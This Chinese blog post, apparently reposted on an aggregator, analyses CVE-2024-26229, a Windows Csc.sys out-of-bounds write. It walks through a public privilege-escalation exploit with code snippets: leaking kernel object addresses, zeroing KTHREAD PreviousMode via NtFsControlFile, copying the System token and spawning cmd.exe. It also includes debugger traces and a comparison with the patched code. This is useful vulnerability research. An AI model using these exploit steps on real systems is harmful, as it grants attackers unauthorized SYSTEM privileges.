当前位置: 首页 > article >正文

CVE-2024-26229 漏洞复现分析

概述

该本地提权漏洞是Csc.sys驱动中CscDevFcbXXXControlFile函数存在越界读写导致的。

漏洞原理

Csc.sys中的CscDevFcbXXXControlFile函数在操作代码为0x1401A3时直接对InputBuffer区域进行了修改,而没有去判定这指针指向的内存地址是否合法。他会直接对我们传入的地址的+0x18位进行修改。
在这里插入图片描述

提权代码分析

代码链接:https://github.com/varwara/CVE-2024-26229/blob/main/CVE-2024-26229.c
跟csc.sys建立符号链接,使用 NtCreateFile 创建一个新的文件句柄,该句柄与 csc.sys 驱动的设备对象关联。

	RtlInitUnicodeString(&objectName, L"\\Device\\Mup\\;Csc\\.\\.");
	InitializeObjectAttributes(&objectAttr, &objectName, 0, NULL, NULL);
	status = NtCreateFile(&handle, SYNCHRONIZE, &objectAttr, &iosb, NULL, FILE_ATTRIBUTE_NORMAL, 0, FILE_OPEN_IF, FILE_CREATE_TREE_CONNECTION, NULL, 0);

枚举当前系统中的进程句柄信息

Status = NtQuerySystemInformation((SYSTEM_INFORMATION_CLASS)SystemHandleInformation, pHandleInfo, ulBytes, &ulBytes)

typedef struct _SYSTEM_HANDLE_INFORMATION
{
	 ULONG ProcessId;            // 进程ID
	 UCHAR ObjectTypeNumber;     // 对象类型索引
	 UCHAR Flags;                // 句柄标志
	 USHORT Handle;              // 句柄值
	 PVOID Object;               // 指向对象的指针
	 ACCESS_MASK GrantedAccess;  // 授予的访问权限
} SYSTEM_HANDLE_INFORMATION, *PSYSTEM_HANDLE_INFORMATION;

获取指定进程的EPROCESS地址

	for (ULONG i = 0; i < pHandleInfo->NumberOfHandles; i++)
	{
		if ((pHandleInfo->Handles[i].UniqueProcessId == ulPid) && (pHandleInfo->Handles[i].HandleValue == (unsigned short)handle))
		{
			*ppObjAddr = (unsigned long long)pHandleInfo->Handles[i].Object;
			Ret = 0;
			break;
		}
	}

这段代码调用之前定义的 GetObjPtr 函数来获取 System 进程和当前进程的 EPROCESS 结构地址。

Ret = GetObjPtr(&Sysproc, 4, 4);
GetObjPtr(&Curthread, GetCurrentProcessId(), hThread);

获取当前进程和线程的结构体地址

hThread = OpenThread(THREAD_QUERY_INFORMATION, TRUE, GetCurrentThreadId());
Ret = GetObjPtr(&Curthread, GetCurrentProcessId(), hThread);
.......
hCurproc = OpenProcess(PROCESS_QUERY_INFORMATION, TRUE, GetCurrentProcessId());
Ret = GetObjPtr(&Curproc, GetCurrentProcessId(), hCurproc);

越界读写点,修改线程结构体的PreviousMode,使其进入特权阶级。
在这里插入图片描述

status = NtFsControlFile(handle, NULL, NULL, NULL, &iosb, CSC_DEV_FCB_XXX_CONTROL_FILE, /*Vuln arg*/ (void*)(Curthread + KTHREAD_PREVIOUS_MODE_OFFSET - 0x18), 0, NULL, 0);

NTSTATUS NtFsControlFile(
	   IN HANDLE FileHandle,//文件或目录的句柄,csc.sys的句柄
	   IN HANDLE EventHandle,
	   IN PIO_APC_ROUTINE ApcRoutine,
	   IN PVOID ApcContext,
	   IN PIO_STATUS_BLOCK IoStatusBlock,
	   IN ULONG FsControlCode,//文件系统控制操作代码,0x001401a3 
	   IN PVOID InputBuffer,//越界读写,提升线程的权限为PreviousMode 
	   IN ULONG InputBufferLength,
	   OUT PVOID OutputBuffer,
	   IN ULONG OutputBufferLength
);

提升进程令牌权限,提升至跟System进程权限一致,然后恢复线程权限位USER_MODE(token的偏移不同版本可能会不一样)
在这里插入图片描述

Write64(Curproc + EPROCESS_TOKEN_OFFSET, Sysproc + EPROCESS_TOKEN_OFFSET, 0x8);
Write64(Curthread + KTHREAD_PREVIOUS_MODE_OFFSET, &mode, 0x1);

最后完成提权,使用提升的权限启动一个新的命令提示符。

system("cmd.exe");

动态调试漏洞

获取程序的Peb ObjectTable地址
在这里插入图片描述

在NtFsControlFile之前插入一个DebugBreak让他断下来,然后这时候观察栈里面传入NtFsControlFile中的数据,其中0x1401a3是操作码,ffffa20f`f947e29a是KTHREAD+0x232-0x18的值
在这里插入图片描述
这时候Kthread结构体中的PreviousMode位还没有被修改,此时还是UserMode。
在这里插入图片描述
此时再给CscDevFcbXXXControlFile下一个断点跑过去
在这里插入图片描述
判断操作码
在这里插入图片描述
把刚刚的Curthread + KTHREAD_PREVIOUS_MODE_OFFSET - 0x18传入RAX寄存器中
在这里插入图片描述
这里把KTHREAD的PreviousMode置0
在这里插入图片描述
然后完成提权
在这里插入图片描述
在这里插入图片描述

补丁分析

这是原本的代码 没有对地址进行检测

if ( *(_DWORD *)(a1 + 0x20C) == 0x1401A3 )
  {
  v8 = *(_QWORD *)(a1 + 0x218);
  v3 = 0;
  *(_QWORD *)(a1 + 0xB8) = 0i64;
  *(_QWORD *)(v8 + 0x18) = 0i64;
}

修改之后调用了ProbeForWrite对地址是否在用户空间进行了检测,如果地址在内核空间的话会抛出异常。检测完毕之后再去置0。

if ( *(_DWORD *)(a1 + 0x20C) == 0x1401A3 )
  {
  v9 = *(_DWORD *)(a1 + 0x228);
  *(_QWORD *)(a1 + 0xB8) = 0i64;
  if (v9 < 0x24)
  {
  v2 = 0xC0000023;
  }
  else
  {
  	v10 = *(_QWORD *)(a1 + 0x218);
  	if( *(_BYTE *)(*(_QWORD *)(a1 + 40) + 64i64))
  		ProbeForWrite(*(volatile void **)(a1 + 0x218),v9,4u);
  	if( *(_DWORD *)(v10 + 4) == 6)
  	{
  		*(_QWORD *)(v10 + 0x18) = 0i64;
  		v2 = 0;
  	}
  	else
  	{
  		v2 = 0xC000000D;
  	}
}

http://www.kler.cn/news/282972.html

相关文章:

  • 详解PASCAL VOC数据集及基于Python和PyTorch的下载、解析及可视化【目标检测+类别分割】
  • 回归预测|基于北方苍鹰优化最小二乘支持向量机的数据预测Matlab程序NGO-LSSVM 多特征输入单输出 含基础程序
  • Qt5.15.x之后的版本源码编译安装
  • 生成式AI,搜索赛道的又一个黄金十年
  • Unity3D 遍历预制体
  • Zookeeper集成Clickhouse方法以及作用
  • 大模型之二十八-语音识别Whisper进阶
  • Spring Boot与桥接模式:构建灵活的产品分类体系
  • 生信圆桌:专业生信服务器与平台服务的提供者
  • How do I do function calling in Azure Openai using the javascript sdk
  • 系统设计——登录流程
  • Spring Boot启用GZIP压缩
  • 【Kafka】Windows下安装Kafka(全面)
  • wpf datagrid通过点击单元格 获取行列索引2.0
  • golang RSA 解密前端jsencrypt发送的数据时异常 crypto/rsa: decryption error 解决方法
  • P1149 [NOIP2008 提高组] 火柴棒等式
  • OpenHarmony 实战开发——ArkUI中的线程和看门狗机制
  • Linux tty模式下无法使用回滚功能解决(shift+pgup方法不管用)
  • STL中queue、stack的实现与容器适配器的讲解
  • C++入门篇1
  • 【前端面试】React深度学习(下)
  • 【软件测试】自动化测试如此盛行,手工测试该何去何从?
  • Shell脚本入门:多命令处理
  • wpf prism 《3》 弹窗 IOC
  • RabbitMQ练习(Publish/Subscribe)
  • GPT-SoVITS-WebUI 初体验
  • C++练习题:进阶算法——动态规划
  • 面试题集锦:数据库
  • 米壳AI:做塞尔维亚跨境电商,用这个工具翻译产品主图,语言不再是难题!
  • KEYSIGHT是德 Infiniium EXR系列 示波器